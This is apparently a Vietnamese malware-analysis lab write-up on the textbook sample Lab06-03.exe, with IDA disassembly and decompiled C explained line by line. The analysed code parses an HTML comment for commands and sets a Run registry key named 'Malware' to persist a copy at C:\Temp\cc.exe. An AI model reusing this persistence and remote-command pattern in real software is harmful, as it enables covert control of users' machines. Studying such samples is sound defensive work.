  1. movsx ecx, [ebp+var_20D]: Lệnh này sẽ di chuyển giá trị từ vị trí bộ nhớ có địa chỉ được xác định bởi ebp+var_20D vào thanh ghi ecx. movsx là viết tắt của “move with sign-extend,” nghĩa là nó sẽ mở rộng dấu của giá trị khi di chuyển nó, cho phép giá trị âm được bảo toàn nếu nó là một số âm.

  2. cmp ecx, 2Dh: Lệnh này so sánh giá trị trong thanh ghi ecx với giá trị hexa 2Dh (tương đương với ký tự ‘-’ trong bảng mã ASCII).

  3. jnz short loc_40111D: Lệnh này là một lệnh nhảy điều kiện. jnz là viết tắt của “jump if not zero,” nghĩa là nếu kết quả của phép so sánh trước đó không phải là không (nghĩa là ecx không bằng 2Dh), chương trình sẽ nhảy đến nhãn loc_40111D.

Nói cách khác, đoạn mã này kiểm tra xem giá trị tại địa chỉ ebp+var_20D có phải là ký tự ‘-’ hay không. Nếu không phải, chương trình sẽ nhảy đến một phần khác của mã.

Tổng kết

Từ phân tích các nhánh ③ ④ ⑤ ⑥ tôi nhận thấy hàm này tương đồng như đã phân tích ở câu 4 trong Lab06-02.exe:

Đó là thực hiện kiểm tra một chuỗi ký tự được lưu trữ trong bộ đệm và phản hồi dựa trên kết quả của các kiểm tra đó. Các lệnh movsx được sử dụng để mở rộng giá trị từ 8-bit lên 32-bit và lưu vào các thanh ghi ecx, edx, và eax. Mã này kiểm tra xem bốn ký tự đầu tiên trong bộ đệm có phải là <, !, -, - hay không. Nếu bất kỳ kiểm tra nào không khớp, chương trình sẽ nhảy đến nhãn loc_40111D, nơi nó sẽ xử lý lỗi bằng cách hiển thị thông báo lỗi và đặt giá trị trả về là 0. Nếu tất cả các kiểm tra đều khớp, chương trình sẽ nhảy đến nhãn loc_40112C, nơi nó sẽ kết thúc hàm và trở về.

Nhánh 9

mov     al, [ebp+var_20C]
jmp     short loc_40112C
  1. mov al, [ebp+var_20C]: Lệnh này sẽ di chuyển giá trị từ vị trí bộ nhớ có địa chỉ được xác định bởi ebp+var_20C vào thanh ghi al. Thanh ghi al là phần thấp của thanh ghi eax, và thường được sử dụng để chứa dữ liệu kích thước byte.

  2. jmp short loc_40112C: Lệnh này là một lệnh nhảy không điều kiện. jmp là viết tắt của “jump,” và short chỉ ra rằng đây là một nhảy ngắn, tức là đích nhảy không cách xa vị trí hiện tại quá nhiều trong mã. loc_40112C là nhãn đích mà chương trình sẽ nhảy đến, bỏ qua các lệnh ở giữa.

Nói một cách đơn giản, đoạn mã này lấy một byte dữ liệu từ một vị trí trong bộ nhớ và lưu nó vào thanh ghi al, sau đó nhảy đến một địa chỉ khác trong chương trình mà không kiểm tra điều kiện nào.

Biến được gán bởi AL là var_20C nó chính là ký tự thứ 5 tiếp theo từ các nhánh ③ - ký tự '<',  (④ - ký tự '!',  ⑤ - ký tự '-',  ⑥ - ký tự '-',  . Sau đó, tôi nhận thấy rằng chúng nằm ở các địa chỉ liền kề trong bộ nhớ đoán rằng nó phải là mảng, modul  phải là ký tự thứ 5 của mảng.

Click vào vị trí biến var_20C trong hàm mov al, [ebp+var_20C]của nhánh , IDA sẽ mở ra cửa số mới tên Stack of sub_401040 hiển thị chi tiết của hàm đó:

Hình 2.4 - Ký tự thứ 5 của chuỗi sau các ký tự <!--

Trả lời:

Hàm mới sử dụng hai tham số, một là phân tích dữ liệu được trả về bởi HTML, gán nó cho ecx và đẩy nó vào ngăn xếp, còn lại là argv (tên chương trình), được gán cho eax (tương đương với a con trỏ) và đẩy nó vào ngăn xếp. (Trong phần trả lời của cuốn sách nói rằng argv này tương đương với argv[0], là tên của chương trình hiện đang chạy). 

3. What major code construct does this function contain?

(Cấu trúc mã chính của hàm này là gì?)

Trả lời:

Như đã phân tích ở phần 2.1 cấu trúc này cho thấy hàm có một cấu trúc switch-case với 5 trường hợp (0 đến 4), và một trường hợp mặc định nếu giá trị sau khi trừ đi ‘a’ lớn hơn 4.

(Click vào ảnh để xem full)

Hình 3.1 - Cấu trúc switch-case

4. What can this function do?

(Chức năng này có thể làm gì?)

Hình 4.1 - Phân tích chức năng của hàm sub_401130

61h tương ứng với ký tự 'a' trong bảng ASCII.

Sau đó bấm vào bảng nhảy jpt_401153 để xem tình hình;

Hình 4.2 - Kết quả thực hiện trong bảng nhảy jpt_401153

Rút gọn, có thể thấy switch phán đoán là arg_0 các ký tự lệnh có phải là a, b, c, d, e;
Sau đó thực hiện các chức năng khác nhau tùy theo lựa chọn.

Hình 4.3 - Cấu trúc cấu trúc switch-case của hàm sub_401130

Nhấn 'F5 để mô phỏng đoạn mã giả bằng C.


Giải thích các câu lệnh Assembly của đoạn mã trên:

Đoạn mã hợp ngữ này mô tả hàm sub_401130

; int __cdecl sub_401130(char, LPCSTR lpExistingFileName)
; Đây là tiêu đề của hàm, cho biết hàm này nhận vào một ký tự và một chuỗi LPCSTR làm tham số.
sub_401130:
    push    ebp             ; lưu base pointer cũ
    mov     ebp, esp        ; thiết lập base pointer mới cho stack frame hiện tại
    sub     esp, 8          ; cấp phát 8 byte trên stack cho biến cục bộ

    movsx   eax, [ebp+arg_0] ; mở rộng ký tự thành số nguyên 32-bit và lưu vào eax
    mov     [ebp+var_8], eax ; lưu giá trị của eax vào biến cục bộ var_8

    mov     ecx, [ebp+var_8] ; lấy giá trị từ var_8 và lưu vào ecx
    sub     ecx, 'a'         ; trừ đi giá trị ASCII của ký tự 'a' (0x61)

    mov     [ebp+var_8], ecx ; cập nhật giá trị của var_8
    cmp     [ebp+var_8], 4   ; so sánh giá trị của var_8 với 4
    ja      def_401153       ; nếu var_8 > 4, nhảy đến nhãn def_401153

    mov     edx, [ebp+var_8] ; lấy giá trị từ var_8 và lưu vào edx
    jmp     ds:jpt_401153[edx*4] ; nhảy đến địa chỉ được tính bởi bảng nhảy jpt_401153
---------------------------------------------------------------------------
loc_40115A: ; Trường hợp khi arg_0 là 'a' (97 trong bảng ASCII)
    push    0               ; Đẩy giá trị 0 vào stack (được sử dụng làm tham số cho hàm CreateDirectoryA)
    push    offset PathName ; Đẩy địa chỉ của chuỗi "C:\\Temp" vào stack
    call    ds:CreateDirectoryA ; Gọi hàm CreateDirectoryA để tạo thư mục "C:\\Temp"
    jmp     loc_4011EE      ; Nhảy đến nhãn loc_4011EE
---------------------------------------------------------------------------
loc_40116C: ; Trường hợp khi arg_0 là 'b' (98 trong bảng ASCII)
    push    1               ; Đẩy giá trị 1 vào stack (được sử dụng làm tham số cho hàm CopyFileA)
    push    offset Data     ; Đẩy địa chỉ của chuỗi "C:\\Temp\\cc.exe" vào stack
    mov     eax, [ebp+lpExistingFileName] ; Lấy địa chỉ của lpExistingFileName từ stack frame và lưu vào eax
    push    eax             ; Đẩy địa chỉ lpExistingFileName vào stack
    call    ds:CopyFileA    ; Gọi hàm CopyFileA để sao chép file
    jmp     short loc_4011EE ; Nhảy đến nhãn loc_4011EE
---------------------------------------------------------------------------
loc_40117F: ; Trường hợp khi arg_0 là 'c' (99 trong bảng ASCII)
    push    offset Data     ; Đẩy địa chỉ của chuỗi "C:\\Temp\\cc.exe" vào stack
    call    ds:DeleteFileA  ; Gọi hàm DeleteFileA để xóa file
    jmp     short loc_4011EE ; Nhảy đến nhãn loc_4011EE
---------------------------------------------------------------------------
loc_40117F: ; Trường hợp khi arg_0 là 'c' (99 trong bảng ASCII)
    push    offset Data     ; Đẩy địa chỉ của chuỗi "C:\\Temp\\cc.exe" vào stack
    call    ds:DeleteFileA  ; Gọi hàm DeleteFileA để xóa file
    jmp     short loc_4011EE ; Nhảy đến nhãn loc_4011EE
---------------------------------------------------------------------------
loc_40118C: ; Trường hợp khi arg_0 là 'd' (100 trong bảng ASCII)
    lea     ecx, [ebp+phkResult] ; Lấy địa chỉ của phkResult vào ecx
    push    ecx             ; Đẩy ecx vào stack (được sử dụng làm tham số cho hàm RegOpenKeyExA)
    push    0F003Fh         ; Đẩy giá trị samDesired vào stack
    push    0               ; Đẩy giá trị ulOptions vào stack
    push    offset SubKey   ; Đẩy địa chỉ của chuỗi SubKey vào stack
    push    80000002h       ; Đẩy giá trị hKey vào stack
    call    ds:RegOpenKeyExA ; Gọi hàm RegOpenKeyExA để mở một key registry
    push    0Fh             ; Đẩy giá trị cbData vào stack
    push    offset Data     ; Đẩy địa chỉ của chuỗi "C:\\Temp\\cc.exe" vào stack
    push    1               ; Đẩy giá trị dwType vào stack
    push    0               ; Đẩy giá trị Reserved vào stack
    push    offset ValueName ; Đẩy địa chỉ của chuỗi ValueName vào stack
    mov     edx, [ebp+phkResult] ; Lấy giá trị của phkResult vào edx
    push    edx             ; Đẩy edx vào stack (được sử dụng làm tham số cho hàm RegSetValueExA)
    call    ds:RegSetValueExA ; Gọi hàm RegSetValueExA để thiết lập một giá trị registry
    test    eax, eax        ; Kiểm tra kết quả trả về từ hàm RegSetValueExA
    jz      short loc_4011D2 ; Nếu kết quả là 0 (thành công), nhảy đến nhãn loc_4011D2
    push    offset aError31CouldNo ; Nếu không, đẩy địa chỉ của chuỗi lỗi vào stack
    call    sub_401271      ; Gọi hàm sub_401271 để xử lý lỗi
    add     esp, 4          ; Cân bằng lại stack
    jmp     short loc_4011EE ; Nhảy đến nhãn loc_4011EE
---------------------------------------------------------------------------
loc_4011D4: ; Trường hợp khi arg_0 là 'e' (101 trong bảng ASCII)
    push    186A0h          ; Đẩy giá trị 186A0h vào stack (được sử dụng làm tham số cho hàm Sleep)
    call    ds:Sleep        ; Gọi hàm Sleep để chờ đợi một khoảng thời gian
    jmp     short loc_4011EE ; Nhảy đến nhãn loc_4011EE

Hàm này là một cấu trúc switch-case dựa trên giá trị của một ký tự đầu vào arg_0 sau khi đã trừ đi giá trị ASCII của ký tự ‘a’ để thực hiện các hành động khác nhau. Nếu giá trị sau khi trừ lớn hơn 4, hàm sẽ nhảy đến nhãn mặc định def_401153. Nếu không, nó sẽ nhảy đến một trong các nhãn (đại diện là các loc_ ) được xác định trong bảng nhảy jpt_401153 (jumptable) dựa trên giá trị của arg_0.

  • loc_40115A tạo một thư mục mới tại đường dẫn “C:\Temp”.
  • loc_40116C sao chép một file đến đường dẫn “C:\Temp\cc.exe”, sử dụng tên file được cung cấp bởi lpExistingFileName.
  • loc_40117F xóa file tại đường dẫn “C:\Temp\cc.exe”.
  • loc_40118C mở một key registry và thiết lập một giá trị mới trong registry. Nếu thất bại, nó sẽ gọi một hàm khác để xử lý lỗi.
  • loc_4011D4 khiến chương trình tạm dừng thực thi trong một khoảng thời gian được chỉ định bởi giá trị đẩy vào stack (trong trường hợp này là 100000 ms hoặc 100 giây).
  • def_401153: Xử lý trường hợp mặc định nếu không có trường hợp nào khớp.

Nhãn loc_4011EE không được hiển thị trong đoạn mã bạn cung cấp, nhưng dựa trên việc sử dụng các lệnh jmp, có thể đây là điểm kết thúc chung cho các trường hợp trong switch-case, nơi mà các dòng lệnh tiếp theo sẽ được thực thi sau khi thực hiện các hành động tương ứng với mỗi trường hợp.

Kết lại:

Câu lệnh switch-case được thực hiện thông qua bảng nhảy jpt_401153. Dựa vào giá trị của arg_0, hàm sẽ thực hiện các hành động khác nhau:

  • Case 97 (‘a’): Tạo thư mục “C:\Temp”.
  • Case 98 (‘b’): Sao chép file được chỉ định bởi lpExistingFileName vào “C:\Temp\cc.exe”.
  • Case 99 (‘c’): Xóa file “C:\Temp\cc.exe”.
  • Case 100 (‘d’): Mở khóa Registry và đặt giá trị “Malware” với dữ liệu “C:\Temp\cc.exe”.
  • Case 101 (‘e’): Gọi hàm Sleep với thời gian là 186A0h (mili giây).

Nếu giá trị đầu vào không nằm trong khoảng từ ‘a’ đến ‘e’, hàm sẽ nhảy đến trường hợp mặc định và hiển thị thông báo lỗi.

Cuối cùng, hàm sẽ khôi phục stack và trở về.


Giải thích đoạn mã C:
void __cdecl sub_401130(char a1, LPCSTR lpExistingFileName)
{
  HKEY phkResult; // [esp+4h] [ebp-4h] BYREF

  switch ( a1 )
  {
    case 'a':
      CreateDirectoryA(PathName, 0);
      break;
    case 'b':
      CopyFileA(lpExistingFileName, (LPCSTR)Data, 1);
      break;
    case 'c':
      DeleteFileA((LPCSTR)Data);
      break;
    case 'd':
      RegOpenKeyExA(HKEY_LOCAL_MACHINE, SubKey, 0, 0xF003Fu, &phkResult);
      if ( RegSetValueExA(phkResult, ValueName, 0, 1u, Data, 0xFu) )
        sub_401271(aError31CouldNo);
      break;
    case 'e':
      Sleep(0x186A0u);
      break;
    default:
      sub_401271(aError32NotAVal);
      break;
  }
}

Hãy cùng tôi đi qua từng dòng:

  1. void __cdecl sub_401130(char a1, LPCSTR lpExistingFileName)

    • Đây là khai báo của một hàm có tên sub_401130.
    • Hàm này nhận hai tham số: a1 (kiểu char) và lpExistingFileName (kiểu LPCSTR - con trỏ tới một chuỗi ký tự không thay đổi).
  2. HKEY phkResult; // [esp+4h] [ebp-4h] BYREF

    • Biến phkResult được khai báo kiểu HKEY (một kiểu dữ liệu đại diện cho một handle của một khóa trong Registry).
    • BYREF cho biết biến này được truyền theo tham chiếu (reference).
  3. switch ( a1 )

    • Hàm sử dụng câu lệnh switch để kiểm tra giá trị của a1.
  4. case ‘a’:

    • Nếu a1 là ký tự 'a', thực hiện lệnh CreateDirectoryA(PathName, 0);.
  5. case ‘b’:

    • Nếu a1 là ký tự 'b', thực hiện lệnh CopyFileA(lpExistingFileName, (LPCSTR)Data, 1);.
  6. case ‘c’:

    • Nếu a1 là ký tự 'c', thực hiện lệnh DeleteFileA((LPCSTR)Data);.
  7. case ‘d’:

    • Nếu a1 là ký tự 'd', thực hiện lệnh:
      • RegOpenKeyExA(HKEY_LOCAL_MACHINE, SubKey, 0, 0xF003Fu, &phkResult);
      • Kiểm tra nếu RegSetValueExA trả về giá trị khác 0, gọi hàm sub_401271(aError31CouldNo);.
  8. case ‘e’:

    • Nếu a1 là ký tự 'e', thực hiện lệnh Sleep(0x186A0u);.
  9. default:

    • Nếu a1 không phải là bất kỳ ký tự nào trong danh sách trên, gọi hàm sub_401271(aError32NotAVal);.

Trả lời:

Danh sách chức năng chuyển đổi như sau ( ngoại trừ chuỗi tham số của b không tìm thấy):
  • Case 97 (a): Được gọi CreateDirectory, tham số là C:\\Temp, nếu thư mục chưa tồn tại thì tạo mới;
  • Case 98 (b): Gọi CopyFile, hai tham số, tệp nguồn và tệp đích. Hàm ở đây sẽ sao chép Lab06-03.exe (không tìm thấy chuỗi này) dưới dạng C:\Temp\cc.exe.
  • Case 99(c): Đã gọi DeleteFile, tham số là C:\\Temp\\cc.exe, nếu file tồn tại thì xóa đi.
  • Case 100 (d): Đặt giá trị trong Windows Registry để có được hoạt động liên tục. Ở đây Software\Microsoft\Windows\CurrentVersion\Run\Malware giá trị của khóa đăng ký được đặt thành C:\Temp\cc.exe.
  • Case 101 (e): Ngủ trong 186A0h mili giây, tức là khoảng 100000 mili giây (100 giây).
Hình 4.4 - Chuyển đổi Hệ sang hệ thập phân
  • (default): in Error 3.2:Not a valid command provided.

5. Are there any host-based indicators for this malware?

(Có chữ ký cục bộ nào trong mã độc này không?)

Trả lời:

Dựa vào các kết quả phân tích thì:
Một thư mục và một tệp cục bộ sẽ được tạo C:\\Temp\\cc.exe và sau đó một giá trị sẽ được thêm vào sổ đăng ký Software\Microsoft\Windows\CurrentVersion\RunC:\Temp\cc.exe

Hình 5.1 - Chữ ký cục bộ của mã độc Lab06-03.exe

6. What is the purpose of this malware?

(Mục đích của mã độc này là gì?)

Trả lời:

Đầu tiên hãy kiểm tra xem có kết nối mạng không bằng cấu trúc if. Nếu không, nó sẽ chấm dứt. Nếu có, nó sẽ tiếp tục tải xuống trang web có chứa <!-- nhận xét HTML bắt đầu bằng. Ký tự đầu tiên của nhận xét được sử dụng để switch xác định hành vi tiếp theo của chương trình trong hệ thống cục bộ, bao gồm xóa tệp, tạo tệp và đặt giá trị khóa Sổ đăng ký, sao chép tệp hoặc ngủ trong 100 giây.

Kết thúc Lab06-03.exe

Đăng nhận xét

Cookie Consent
We serve cookies on this site to analyze traffic, remember your preferences, and optimize your experience.
Oops!
It seems there is something wrong with your internet connection. Please connect to the internet and start browsing again.
AdBlock Detected!
We have detected that you are using adblocking plugin in your browser.
The revenue we earn by the advertisements is used to manage this website, we request you to whitelist our website in your adblocking plugin.
Site is Blocked
Sorry! This site is not available in your country.